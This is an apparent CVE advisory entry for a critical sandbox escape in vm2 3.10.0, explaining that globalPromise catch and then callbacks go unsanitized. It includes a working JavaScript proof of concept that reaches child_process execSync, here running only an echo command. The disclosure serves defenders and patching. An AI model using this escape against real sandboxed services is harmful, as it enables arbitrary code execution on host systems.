CVE-2026-22709

CRITICAL9.8EPSS 0.05%

vm2 has a Sandbox Escape

Published: 1/26/2026Modified: 2/3/2026

Description

In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. ```js const { VM } = require("vm2"); const code = ` const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const f = new Function( "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })" ); f(); }); `; new VM().run(code); ``` In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.

Affected packages (1)

CVSS scores

SourceVersionSeverityVector
osvCVSS 3.1CRITICAL9.8CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References (5)